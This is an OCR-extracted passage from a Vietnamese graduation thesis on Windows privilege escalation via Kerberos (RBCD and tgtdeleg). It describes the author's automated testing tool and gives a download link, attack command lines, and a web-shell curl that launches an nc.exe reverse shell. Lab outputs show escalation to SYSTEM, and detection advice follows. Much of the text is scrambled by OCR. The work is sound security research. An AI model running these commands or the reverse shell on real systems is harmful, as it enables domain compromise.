DỤNG PHƯƠNG THỨC XÁC THỰC
3.2. Phan tich thiét ké
3.2.3. Sơ đồ hoạt động
Khởi động GoAutoWalpe (automateWALPE.exe)
Đọc thông tin kịch ban tấn công
(mặc định: conf.yaml)
: F ; Kiểm thử gián tiếp
Kiểm thử trực tiếp (thông qua TCP netcat)
Hình 3.25: Sơ đô hoạt động của công cụ
Công cụ gồm 2 mô đun chính gồm kiểm thử tự động theo kịch bản và thử
nghiệm tấn công, cụ thé:
- Tht nghiệm tấn công là phương pháp sử dụng 2 kỹ thuật được trình bay trong chương 2. Người dùng sẽ cần nhập các thông tin đầu vào dé thực hiện tấn công. Các thông báo lỗi sẽ hiện ra trực quan trên cửa số dòng
lệnh.
56
Trần Quốc Hoàn - BI9DCAT077
Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows
- Kiểm thử tự động là dựa trên các command truyền vào của công cụ thử
nghiệm tấn công sẽ xây dựng lên các kịch bản sau đó truyền vào cho công cụ này kiểm tra các kịch bản. Sau khi chạy hết các kịch bản sẽ có kết quả trả về trong cửa số dòng lệnh và thông báo của công cụ thử nghiệm tấn công trong quá trình chạy sẽ được ghi log lại.
3.3. Cài đặt công cụ
Tải công cụ về tại đường dẫn:
https://github.com/TrQ-Hoan/WALPE/releases/download/20231230/walpe.zip hoặc qua câu lệnh:
curl -O -L https://github.com/TrQ-Hoan/WALPE/releases/download/20231230/walpe.zip
q TrQ-Hoan / WALPE | Public QY Notifications Fork 0 VW Star 0 x
€> Code G) Issues [1 Pullrequests ©) Actions [| Projects © Security |e Insights
Releases / 20231230
Compare +
20231230 (ots)
@ TrQ-Hoan released this 7 minutes ago .1 commit to master since this release © 20231230 -o- @db98e3
vAssets 3
2.18 MB 8 minutes ago
Qwalpe.zip
9 minutes ago
Source code (zip)
Source code (tar.gz) 9 minutes ago3) 5
Hình 3.26: Tải công cu WALPE từ Github
Mật khẩu giải nén công cụ: 20231230
57
Trần Quốc Hoàn - BI9DCAT077
Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows
3.4. Thử nghiệm và đánh gia
Kịch bản đánh giá tự động cho cả hệ thống thử nghiệm, như sau:
- att_name: "rbcd"
att_cmd: ".\\SharpWALPE.exe rbcd -m NEWCOMPUTER -p pAsswoOrd -c"
cred_cmd: "whoamii /user /priv"
cred_dir: "%cwd%"
cred_file_pre: "rocd_pre.txt"
cred_file_aft: "rocd_aft.txt"
- att_name: "tgtdeleg"
att_cmd: "C:\\Users\\Public\\SharpWALPE.exe tgtdeleg -c"
cred_cmd: "whoamii /user /priv"
cred_dir: "C:\\Users\\Public"
cred_file_pre: "tgtdeleg_pre.txt"
cred_file_aft: "tgtdeleg_aft.txt"
rem_att:
remcon_port: "2333"
remcon_cmd: "curl http://127.0.0.1/shell.asp?command=C%3A
%5CUsers%5CPublic%5Cnc.exe+127.0.0.1+2333+-e+cmd.exe"
remcon_ delay: 3
Hình 3.27: Kịch bản đánh giá tự động (trong thử nghiệm)
Kịch bản đánh giá để chạy thử nghiệm là thực thi hai phương thức tấn công RBCD và Tgtdeleg, cụ thể:
- Với phương thức tấn công RBCD sẽ sử dụng hai tham số là tên của máy mới cần tạo là NEWCOMPUTER và mật khâu của máy tính nay, còn các kiểm tra đặc quyền sẽ là sử dụng câu lệnh whoami /user /priv để kiểm tra quyền của tiến trình trước và sau khi chạy tấn công sau đó sẽ lấy thông tin SID dé so sánh với nhau dé xem đã leo thang đặc quyền thành công
hay chưa
- _ Với phương thức tan công Tgtdeleg sẽ sử dụng hình thức tan công gián tiếp thông qua một kết nỗi TCP. Vi trong phương thức tấn công này cần sử dụng một câu lệnh với quyền của dịch vụ nên ý tưởng sẽ là tạo ra một cửa số dòng lệnh với quyền của dịch vụ ứng dụng web sau đó nhận câu lệnh và kết quả câu lệnh thông qua kết nối tep. Cách kiêm tra đặc quyền
58
Tran Quốc Hoàn - BI9DCAT077
Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows dé xác định xem đã leo thang đặc quyền đã thành công chưa vẫn sử dụng
câu lệnh whoami /user /priv và cách kiểm tra tương tự RBCD.
Chi tiết các thông tin để tạo một kịch bản có thể sử dụng tham số -hdsd của công cụ automateWALPE.exe dé kiểm tra, như sau:
i walpe env — Oo x Microsoft Windows [Version 10.@.18362.30] a
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Users\pentester\Desktop\share>automateWALPE.exe -hdsd
Giới thiệu: Công cụ kiểm thử leo thang đặc guyền trên Windows thông qua các giao thức xác thực.
Công cụ sử dụng câu lệnh kiểm tra quyền của người dùng trước và sau khi thực hiện tấn công, kịch bản/hình thức tấn công được cài đặt trong file config.yaml (tuỳ chỉnh).
Khi sử dụng công cụ cần có file cấu hình .yaml có dạng như sau:
- att name: (tên của kỹ thuật tấn công)
att_cmd: (lệnh thực thi tấn công)
cred_cmd: (lệnh thực thi thu thập thông tin quyền của người dùng, nên sử dụng whoami) cred_dir: (đường dẫn lưu file chứa thông tin quyền của người dùng)
cred_file_pre: (tên file chứa thông tin quyền của người dùng trước khi tấn công) cred_file aft: (tên file chứa thông tin quyền của người dùng sau khi tấn công) rem_att: (tấn công từ xa - truỳ chọn, nếu không có thì bỏ qua)
remcon_port: (cổng dịch vụ tấn công từ xa)
remcon_cmd: (lệnh tạo revsershell để thi tấn công từ xa)
remcon_delay: (thời gian chờ khi gửi và nhận phản hồi của revsershell) Các trường thông tin khác có thể xem chỉ tiết trong phần -h hoặc --help.
Hình 3.28: Hướng dẫn bằng tiếng việt của automateWALPE
59
Trần Quốc Hoàn - BI9DCAT077
Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows
Thử nghiệm 1
- Hệ thống: Windows 10 Pro (1903) kết nối với AD+DC Windows Server
2016
- Dịch vụ: có dịch vụ Web IIS với Reverseshell có thé thực hiện các câu lệnh
của CMD
Chạy công cụ thử nghiệm tự động:
BE walpe_env — Oo x Microsoft Windows [Version 10.@.18362.30] “
(c) 2019 Microsoft Corporation. All rights reserved.
CC: \Users\pentester\Desktop\share>automateWALPE. exe [*] Number of attack(s): 2
[+] rbed
[+] tgtdeleg
[ =] ====—=—=—=—=—=—=—=—==—========================
[@i rbed
[#] rbcd - check privilege before attack [+] Successful
[#] rbcd - attacking...
[+] Successful [@] tgtdeleg
[#] tgtdelag - remote attack
[#] New connection from: 127.0.0.1:49756
[#] tgtdeleg - check privilege before attack [+] Successful
[#] tgtdeleg - attacking...
[+] Successful
[*] Connection closed: 127.0.0.1:49750 [=] ee
[~] ATTACK RESULT
[~] rbed [V] Success [~] tgtdeleg [V] Success
(C: \Users\pentester \Desktop\share>
Hình 3.29: Kết quả thie nghiệm 1 - automateWALPE
Sau khi chạy công cụ thử nghiệm tự động thì thay cả 2 phương pháp tan công đều thành công. Thực hiện kiểm tra 2 phương pháp này thủ công.
60
Trần Quốc Hoàn - BI9DCAT077
Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows
61
Tran Quốc Hoan - BI9DCATO077
Đồ án tốt nghiệp Xác thực và kiểm soát đặc quyên trên Windows
Chạy thử nghiệm tấn công RBCD
Microsoft Windows [Version 10.0.18362.30]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Users\pentester\Desktop\share>whoami proniknoveniye\pentester
C:\Users\pentester\Desktop\share>whoami /priv
Privilege Name Description State SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled
SeTncreasellorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\Users\pentester\Desktop\share>SharpWALPE.exe rbcd -m NENCOMPUTER -p pAssi Searching for the target computer account
Target user found: CN=NEWCOMPUTER, CN=Computerss ,DC=j The computer account already exists.
Sid of the new computer account: S-1-5-21-3407162097-421674631-3260644744- NEWCOMPUTER$ can now impersonate users on CN=PC-WX19@3,CN=Computers,DC = pi Using rc4_hmac hash: 8BD6435FE@3A4D206F21AC980D2712F8
Building AS-REQ (w/ preauth) for: "proniknoveniye.1oca1\NEIICOMPUTER"
Using domain controller: 192.168.125.162:88 TGT request successful!
Building S4U2self request for: 'NEMCOMPUTER@PRONTKNOVENIYE.LOCAL"
Using domain controller: DC@1-WINSV19.proniknoveniye.local (192.168.125.16:
`
11 roniknoveniye,DC=1oca1
11 11 11 1}
] Sending S4U2self request to 192.168.125.162:88
11 11 11 11 11 11 1
S4U2se1f success!
Got a TGS for ‘proniknoveniye.local\Administrator’ to 'NEWCOMPUTER@PRONII Impersonating user 'proniknoveniye.1oca1\Administrator" to target SPN ‘HOS Building S4U2proxy request for service: ‘HOST/PC-WX1903"
DC@1-WINSV19. proniknoveniye.local (192.168.125.16:
8 Using domain controller
Sending S4U2proxy request to domain controller 192.168.125.16:
S4U2proxy succes:
Ticket successfully imported!
Using ticket to connect to Service Manger
AcquireCredentialsHandleHook called for package N Changing to Kerberos package
InitializeSecurityContextHook called for target H
InitializeSecurityContext The function completed successfully, but must be called again to complete the context (code: 0x00099312)
Hinh 3.30: Két qua thir nghiém I - RBCD Chay thử nghiệm tấn công Tgtdeleg
Microsoft Windows [Version 10.0.18362.30]
(€) 2019 Microsoft Corporation. All rights reserved.
C:\Users\pentester\Desktop\share>curl http: //127.0.0.1/shel1.asp?command=CX3A%5CUsers%5CPublic%5Cnc. exe+127.0.0.1+2333+-e+cmd. exe
Microsoft Windows [Version 10.0.18362.30]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Users\pentester\Desktop\shareằnc_-1vnp 2333 listening on [any] 2333 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 49778 Microsoft Windows [Version 10.0.18362.30]
(c) 2019 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami whoami,
iis apppool\defaultapppool
¢:\windows\system32\inetsrv>whoami /priv whoami /priv
PRIVILEGES INFORMATION
Privilege Name Description State
SeAssignPrimaryTokenPrivilege Replace a process level token SeIncreaseQuotaPrivilege Adjust memory quotas for a process
‘SeShutdownPrivilege Shut down the system
SeAuditPrivilege Generate security audits SeChangeNotifyPrivilege Bypass traverse checking
SeUndockPrivilege Remove computer from docking station
‘SeImpersonatePrivilege Tmpersonate a client after authentication SeCreateGlobal Privilege Create global objects
SeTncreasehlorkingSetPrivilege Increase a process working set
‘SeTimeZonePrivilege Change the time zone Disabled
ci \windows\system32\inetsrv>C: \Users\Pub1ic\SharphlALPE.exe tgtdeleg -c C:\Users\Public\SharphALPE.exe system 1 C:\Users\Pub1ic\SharpMALPE.exe tgtdeleg -c C:\Users\Public\SharpWALPE.exe system 1
[*] Action: Request Fake Delegation TGT (current user)
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com"
[*] Initializing Kerberos GSS-API w/ fake delegation for target ‘cifs/DC@1-WINSV19.proniknoveniye. local’
Hình 3.31: Kết quả thử nghiệm 1 - Tgtdeleg
62
Trần Quốc Hoàn - BI9DCAT077
Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows
Thử nghiệm 2
- Hệ thống: Windows 7 Ultimate kết nói với AD+DC Windows Server 2022
- Dịch vụ: Không cai dịch vụ nào Chạy công cụ thử nghiệm tự động:
r
ES C:\Windows\System32\cmd.exe | || & || s
ficrosoft Windows LUerslon 6.1. 6H1 ]
opyright €cc3 2669 Microsoft Corporation. All] rights reserved. ww C:xllsersxpentesterxDoun loads\bin>automateWALPE.exe
C¥] Number of attackts>: 2 [C+] nhcd
a tgtdeleg [@] rbed
{#1 nhcd — check privilege before attack [C+] Successful
(#1 nhcd — attacking...
C+] Successful [@] tgtdeleg
[#1 tgtdeleg — remote attack [#] Waiting 1@s for connection
[=] =E==E=================================
[“] ATTACK RESULT
[T1 rbed [U] Success
C:xUsersxpentesterxDoun loads \bin>
4 | HI lò
Hình 3.32: Kết quả thử nghiệm 2 - automateWALPE
Chạy thử nghiệm tan công RBCD
63
Trần Quốc Hoàn - BI9DCAT077
Đồ án tốt nghiệp Xác thực và kiểm soát đặc quyên trên Windows
fa C:\Windows\System32\cmd.exe Ei Administrator: C:\Windows\system32\cmd.exe licrosoft Windows [Version 6.1.76811 Microsoft Windows [Version 6.1.76011
opyright <c) 2089 Microsoft Corporation. All rights reserved. Copyright <c> 2089 Microsoft Corporation. All rights :\Users\pentester\Doun loads\bin >whoami Ic: \Windows\s ystem32 whoami
iexpurgator\pentester int authority\system
:\Users\pentester\Down loads\bin>whoami /priv C:\Windows\system32>whoami ⁄priu N 2 ON
Pl
Privilege Name Description State
eShut dounPrivilege Shut down the systen Disabled Replace a process level token
eChangeNot if yPrivilege Bypass traverse checking Enabled eyPrivilege Lock pages in memory
elindockPrivilege Remove computer from docking station Disabled eQuotaPrivilege Adjust memory quotas for a proc
eIncreasellorkingSetPrivilege Increase a process working set Disabled part of the operati eT imeZonePrivilege Change the time zone Disabled i i
:\Users\pentester\Doun loads\bin>SharpwALPE.exe rbcd —-m NEWCOMPUTER -p pfssw [*] Searching for the target computer account
[x] Target user found: CN=NEWCOMPUTER, CN=Conputers ,DC-kdesur, DC=net imePrivi Change ystem time
[*] The computer account already exists. ileSi Privilege Profile single proces Enabled [x] Sid of the new computer account: S—1—5-21-2717209385-3928489857-94277778 ePr: yPrivilege Increase scheduling priority Enabled [x1 NEUCOMPUTER$ can now impersonate users on CN=MALMON,CN=Computers.DC = kdô ae lege Greate a pagefile Enabled [x] Using c4 hnac hash: 8BD6435FE@3A4D206F21AC98AD2712F8 Greate permanent red objec Enabled [x1 Building AS-REQ <w/ preauth> for: ’kdesur.net\NEWCOMPUTER’ : Back up files and director Disabli [x1 Using domain controller: 172.16.67.146:88 ` Restore files and directories
[+] TGT request successfult SeShutdownPrivilege Shut down the system [x] Building S4U2self request for: “NEUCOHPUTERBKDCSUR.NET” SeDebugPrivilege Debug prograi
[x1 Using domain controller: WIN-SUR22.kdcsur.net (172.16 .67.146> SehuditPrivilege Generate security audits Enabled [x1 Sending S4U2self request to 172.16.67.146:88 SeSystemEnvironmentPrivilege Modify firmuare environment values Enabled [+] $4U2self success? SeChangeNot if yPr Bypass traverse checking Enabled [x] Got a TGS for *kdcsur.net\Administrator’ to ’NEWCOMPUTERGKDCSUR.NET’ SeUndockPrivilege Remove computer from docking station
[x] Impersonating user ’kdcsur.net\fdministrator’ to target SPN ”HOST/MALHON| DU G0 run Perform volume maintenance tai
[x] Building S4UZproxy request for service: *HOST/MALMON’ natePri: Impersonate a client after authentication Enabled
[x1 Using domain controller: WIN-SUR22.kdcsur.net (172.16 .67.146> E 6 global obj Enabled [x] Sending S4U2proxy request to domain controller 172.16 .67.146:88 ` ` Incr i Enabled
[+] S4U2proxy success? i ilege Chang: Enabled
[+] Ticket successfully imported? SeCreateSymbolicLinkPrivilege Create symbolic links Enabled [x] Using ticket to connect to Service Manger
[*] AcquireCredentialsHandleHook called for package N C:\Windows\s ystem32>
[x1 Changing to Kerberos package
[x1 InitializeSecurityContextHook called for target H
be i yGontext The function completed successfully, but must [x1 InitializeSecurityContextHook called for target H
[x1 InitializeSecurityContext The operation completed successfully (code: 8x [x1 UACBypassedSuc Service created
[x] UACBypassedSuc Service started [x1 Clean-up done
Hình 3.33: Kết quả thử nghiệm 2— RBCD
Kết quả thử nghiệm:
Thử nghiệm
TN 1 TN 2 Phương thức
Thành công, leo thang từ Thành công, leo thang từ
RBCD quyền người dùng lên quyền quyền người dùng lên quyền
NT Authority\SYSTEM NT Authority\SYSTEM
Thành công, leo thang từ
Tgtdeleg quyền dịch vụ web lên quyền -
NT Authority\SYSTEM
Windows 10 Pro (1903) kết nối
AD+DC Windows Server 2016 | Windows 7 Ultimate kết nối
Có dịch vụ Web IIS với AD+DC Windows Server 2022
Reverseshell có thé thực hiện Không cài dịch vụ nào
các câu lệnh của CMD
Đánh giá 64
Trần Quốc Hoàn - BI9DCAT077
Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows Kết quả thử nghiệm thu được:
-_ Công cụ tự động và thử nghiệm leo thang tương thích trên cả Windows 7 và Windows 10 với Windows Server 2016 và các phiên ban cao hơn.
Đây là điểm mạnh so với công cụ S4UTomato[16] vì công cụ S4UTomato không chạy được trên các hệ thống Windows 7 nếu như
không cập nhật .NET do phiên bản .NET Framework của công cụ đó là 4.7.2.
- Công cụ thử nghiệm tự động hoạt động với cả hệ thống có thé không có đủ các thiết lập như trong kịch bản. Như thử nhiệm 2, hệ thống windows 7 không có dịch vụ web dé tạo kết nối mở dòng lệnh từ xa đến thì công cụ sẽ chờ trong một khoảng thời gian sau đó ngắt kết nối.
- Công cụ kiểm thử tự động có ghi lại log đầy đủ đầu ra của các bước khi
thực hiện các command.
Từ kết quả bên trên và thử nghiệm thực tế trên nhiều hệ thống khác nhau, công cụ hoạt động tốt và trả về kết quả trực quan, dễ dàng sử dụng và đạt được các yêu cầu trong phần phân tích thiết kế.
Trong quá trình thử nhiệm nhận thấy răng có thê sử dụng một số biện pháp sau dé phát hiện và ngăn chặn khi công cụ được sử dung trái phép:
- _ Sử dụng các phần mềm diệt virus, vì công cụ phát triển dựa trên các công cụ khác nên đã có sẵn signature đề phát hiện ra công cụ
- Với các hệ thống EDR bổ sung các tập luật (rules) dựa trên MITRE ATTCK T1550.003 [18], vì công cụ sử dụng các kỹ thuật tan công đã được ghi nhận nên các hành vi dé viết tập luật cho EDR đã có sẵn.
- Với đội ngũ ứng cứu sự cố (Incident Response) có thé phát hiện ra công
cụ đã khai thác thành công chưa thông qua Security Logs của Windows
Events Logs, bằng một số dấu vết sau: Kiểm thời điểm có log 4624
(Đăng nhập thành công), logon type: 3 (truy cập vào máy tính này từ
65
Tran Quốc Hoan - BI9DCATO077
Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows
mạng) với tài khoản Administrator của domain và không lâu sau đó có
log 7045 (Tạo service) với command bất thường.
Từ những phát hiện rút ra trong quá trình thử nhiệm bên trên có thể sử dụng công cụ nảy trong thực tế với một số mục đích sau:
- Đánh giá tập luật với kỹ thuật MITRE ATTCK T1550.003 cua EDR trên
hệ thống
- anh giá giả thuyết trong quá trình ứng cứu sự cố khi không có dấu vết
TỐ rang
- Sử dụng là một công cụ trong các bài diễn tập mô phỏng tan công thực tế